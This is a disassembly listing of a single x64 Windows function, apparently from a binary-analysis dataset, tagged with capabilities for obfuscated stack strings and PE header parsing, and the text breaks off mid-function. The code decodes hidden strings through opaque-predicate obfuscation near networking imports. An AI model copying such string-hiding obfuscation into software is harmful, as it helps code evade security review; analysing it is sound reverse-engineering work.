Function at 0x140071c20
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10a0]
mov eax, 0x11a0
call fcn.140183b90
sub rsp, rax
mov rax, qword [0x14021a800]
xor rax, rsp
mov qword [rbp + 0x1090], rax
cmp byte [0x14021c5d9], 0
jne 0x140071c71
call fcn.14006f770
jmp 0x1400a26c3
mov rax, qword [0x14021c5e0]
or dword [rax + 0x47b8], 2
mov dword [rax + 0x47d8], 0x43c80000
mov dword [rax + 0x47dc], 0x43e10000
mov dword [rax + 0x47c0], 2
mov byte [rbp + 0xa68], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xa69], Ordinal_143
mov byte [rbp + 0xa6a], 0x9a
mov byte [rbp + 0xa6b], 0x90
mov byte [rbp + 0xa6c], 0x9c
mov byte [rbp + 0xa6d], reloc.WLDAP32.dll_Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa6e], xmm0
mov qword [rbp + 0xa7e], rax
mov dword [rbp + 0xa86], eax
mov byte [rbp + 0xa8a], al
movabs rsi, 0xc9430626ecace169
movabs r12, 0x52ba0c7bc2209d05
movabs r14, 0xeb04c73267b541b7
movabs r15, 0x4590ae3ae37407ad
lea r13, [rax - 1]
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140072b44
movzx r11d, byte [rbp + rbx + 0xa68]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x140072b3b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140071d7c
lea rcx, [rbx + r12]
mov rax, rdi
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdi
add r10, rcx
sub r10b, 0x23
jmp 0x140071db0
je 0x140072ab2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140072a7e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140072a47
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400729f3
nop dword [rax]
cmp r9, rbx
ja 0x140072b32
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140071dde
lea rdx, [rbx + rsi]
movzx eax, dl
and al, dil
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x21
add r10b, dl
jmp 0x140071e20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400729ce
inc rax
cmp r8, rax
je 0x1400729a0
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007296c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400728cf
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007289a
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400724da
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400724b2
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140072484
lea rax, [r9 + 9]
cmp r8, rax
je 0x140072455
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140072432
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400723fa
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400723c5
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007239f
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140072376
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140072340
lea rax, [r9 + 2]
cmp r8, rax
je 0x140071e30
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140072b0d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140072ae8
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007202a
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007200b
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140071fed
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400722db
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007227c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140072229
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400721f9
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140071e30
mov r8, rax
lea r9, [rax + 9]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400721bf
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140072197
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140072172
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140072139
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400720fd
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400720d8
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400720ad
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007207b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140072052
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140071e30
lea r8, [r9 + 8]
lea r9, [r8 + 8]
jmp 0x140071e30
lea rdx, [rbx + r14]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
dec r10b
add r10b, dl
jmp 0x140071e20
lea rdx, [rbx + r15]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x45
add r10b, dl
jmp 0x140071db0
movabs rdx, 0xa01c95435f32cda3
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x75
add r10b, dl
jmp 0x140071d50
movabs rdx, 0x4a18313765670b48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140072a12
movabs rdx, 0xa4a4183fe125d13e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140071d32
movabs rcx, 0xff2fff485ce49734
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6c
dec rbx
inc rbx
jmp 0x140071d32
movabs rdx, 0x59bbe650d8a35d2a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
jmp 0x14007282b
movabs rdx, 0xb447cd5954622320
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rdx, 0xed3b461d020e916
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rdx, 0x695f9b6a4bdfaf0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
jmp 0x1400728ef
movabs rdx, 0xc3eb8272c79e7502
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
add r10b, dl
jmp 0x140072922
movabs rdx, 0x1e77697b435d3af8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
movabs rcx, 0x80d52b1078ba29df
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x19
mov byte [rbp + rbx + 0xa68], r10b
inc rbx
jmp 0x140071d32
movabs rdx, 0xdb611218f478efd5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2d
add r10b, dl
cmp r9, 5
jb 0x140072219
movabs rdx, 0xf620f94f58fe8ffe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140072a12
movabs rdx, 0x35ecf9217037b5cb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x73
add r10b, dl
cmp r8, 6
jae 0x140072803
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400726f9
movabs rdx, 0x7f97ffa42e724b9a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
jmp 0x140072249
movabs rdx, 0x9078e029ebf67bc1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x47
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x140072870
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400725eb
movabs rdx, 0xb654f97d41c56a31
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x57
jmp 0x14007229c
movabs rcx, 0xb79224e98c0d4876
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3a
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
movabs rdx, 0x121e0bf207cc0e6c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140072922
movabs rdx, 0x6ca9f2fa838ad462
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400728ef
movabs rcx, 0xc735da02ff499a58
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rcx, 0x21c1c10b7b08604e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rdx, 0x7c4da813f6c72644
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140072828
movabs rdx, 0xd6d98f1c7285ec3a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140071d32
movabs rcx, 0x31657624ee44b230
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140071d32
movabs rdx, 0x8bf15d2d6a037826
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xa
add r10b, dl
jmp 0x140072a12
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400724ff
lea rcx, [rbx + r12]
movzx eax, cl
and al, dil
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x23
jmp 0x1400722fe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140072542
movabs rdx, 0x92860c4dd959c2d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140072570
movabs rdx, 0xdd6e3e3ce1dc36e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
jmp 0x1400728ef
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400725b5
movabs rdx, 0x2856702bea5eaafa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400722fe
movabs rdx, 0xbe26d409fb639322
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140072a12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007261c
movabs rdx, 0x5bc91274c606a43b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x63
add r10b, dl
jmp 0x140072a12
inc rax
cmp r8, rax
jne 0x140072652
movabs rcx, 0x13d2b6c4a47de45
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1d
inc r9
dec rbx
inc rbx
jmp 0x140071d32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140072686
movabs rcx, 0xa6b14463ce89184f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
dec rbx
inc rbx
jmp 0x140071d32
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400726b4
movabs rdx, 0x4c255d5b52ca5259
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6f
jmp 0x14007282b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007229f
movabs rcx, 0xf1997652d70b8c63
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140072738
movabs rcx, 0x250c189bb2b385a4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140072766
movabs rdx, 0x6ff44a8abb35f9b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x1400728ef
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400727a4
movabs rcx, 0x156863823f7733c2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400727cd
movabs rdx, 0x6050957147f9a7d6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140072828
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007224c
movabs rdx, 0x50ace057d4bd55f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140072a12
movabs rdx, 0x9b951246dd3fca08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xa68]
sub r10b, al
sub r10b, 0x38
add r10b, r11b
add r10b, dl
movabs rdx, 0xee4f1ec29f60670d
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x5b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xa68], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rdx, 0x41092b3e61810412
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xa68]
sub r10b, 0x7e
jmp 0x1400728ef
movabs rcx, 0x9a57e6da92f7ebc3
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
movabs rdx, 0x4f6fb4eb8a7577af
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x37
add r10b, dl
movabs rcx, 0x93c337ba23a1a117
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x5f
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xa68], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xe67d4435e5c23e1c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xa68], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
movabs rcx, 0xa9fb9bf406343da5
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rcx, 0x142b3815f52f557d
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x6b
inc r9
dec rbx
inc rbx
jmp 0x140071d32
movabs rdx, 0x6eb71f1e70ee1b73
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x25
add r10b, dl
jmp 0x140072a12
movabs rcx, 0x23ceed2f686ba75f
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
movabs rcx, 0x48db05cb1b1f2d03
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x15
add r11b, cl
mov byte [rbp + rbx + 0xa68], r11b
inc r9
dec rbx
inc rbx
jmp 0x140071d32
movabs rcx, 0x8dfe89515766bf37
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rcx, 0xe88a7059d325852d
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140071d32
movabs rcx, 0xf82e25734661d70f
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x69
movzx eax, byte [rbp + rbx + 0xa68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140071d32
movabs rcx, 0xfaa87c4bdaf19399
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2f
jmp 0x140071d30
movabs rcx, 0x5534635456b0598f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x17
jmp 0x140071d20
lea rcx, [rbp + 0x16989c4]
jmp 0x140072b4b
lea rcx, [rbp + 0xca26c9]
jmp 0x140072b4b
lea rcx, [rbp + 0xa68]
xor edx, edx
mov r8d, 0x100
call fcn.1400115e0
mov byte [rbp + 0xa90], Ordinal_50
mov byte [rbp + 0xa91], Ordinal_46
mov byte [rbp + 0xa92], Ordinal_41
mov byte [rbp + 0xa93], gethostname
mov byte [rbp + 0xa94], 0x88
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa95], xmm0
mov qword [rbp + 0xaa5], rax
mov dword [rbp + 0xaad], eax
mov word [rbp + 0xab1], ax
movabs rdi, 0xc8d85c2dd1be9432
movabs rsi, 0xdc12009cfe981e0e
movabs r15, 0xb43b109477b3bdea
movabs r14, 0x739bdf740f30a23a
movabs r12, 0xb25be4b1fc92666
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007396d
movzx r10d, byte [rbp + rbx + 0xa90]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x140073964
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140072c3c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x66
jmp 0x140072c70
je 0x1400738d9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400738a1
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073851
lea rax, [r9 + 7]
cmp r8, rax
je 0x140073822
nop dword [rax]
cmp r9, rbx
ja 0x14007395b
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140072c9e
lea rdx, [rbx + rdi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5e
add r11b, dl
jmp 0x140072d00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400737ca
inc rax
cmp r8, rax
je 0x140073798
lea rax, [r9 + 2]
cmp r8, rax
je 0x140073769
lea rax, [r9 + 3]
cmp r8, rax
je 0x140073735
lea rax, [r9 + 7]
cmp r8, rax
je 0x140073694
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007366e
lea rax, [r9 + 6]
cmp r8, rax
je 0x140073634
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007336c
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x140073346
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140073314
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400732ea
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400732c5
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400732a0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140073267
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140073253
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007322b
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400731f6
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140072d10
lea r8, [r9 + 9]
lea r9, [r8 + 8]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140073936
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007390d
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140072f02
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140072ee2
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140072ec7
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140073190
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140073138
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400730e4
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400730b0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140072d10
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x61]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140073076
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007304e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140073029
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140072ff0
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140072fc7
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140072fa1
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140072f76
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140072f48
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140072f22
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140072d10
lea r8, [r9 + 2]
lea r9, [r8 + 0x10]
jmp 0x140072d10
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
jmp 0x140072d00
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140072c70
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140072c05
movabs rdx, 0x46c2e16e8df4a190
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400737ea
movabs rcx, 0xde4cc0459e8d25bc
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x24
inc r9
dec rbx
inc rbx
jmp 0x140072bf2
movabs rcx, 0x75d69f1caf25a9e8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0xd607df3bfbe2e14
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140073871
movabs rdx, 0xa4ea5ccad056b240
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400738c1
movabs rdx, 0x3c743ba1e0ef366c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140072bf2
movabs rdx, 0xd3fe1a78f187ba98
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x1400736b5
movabs rdx, 0x6b87f95002203ec4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x1400736ec
movabs rdx, 0x311d82712b8c2f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140072bf2
movabs rdx, 0x7dea8540bc360d5e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0xa90], r11b
inc rbx
jmp 0x140072bf2
movabs rdx, 0x15746417ccce918a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 0x42
jb 0x1400730d4
movabs rdx, 0xcf889b27b19dab3c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x48]
jmp 0x1400737ed
movabs rdx, 0xacfe42eedd6715b6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x2a
jae 0x1400735e4
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140073514
movabs rdx, 0xbaeb4f8e5792d4f4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
jmp 0x1400730fc
movabs rdx, 0x448821c5edff99e2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140073614
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140073459
movabs rdx, 0xf212f36085d440c2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
jmp 0x140073159
movabs rcx, 0xb5122912ea77792c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
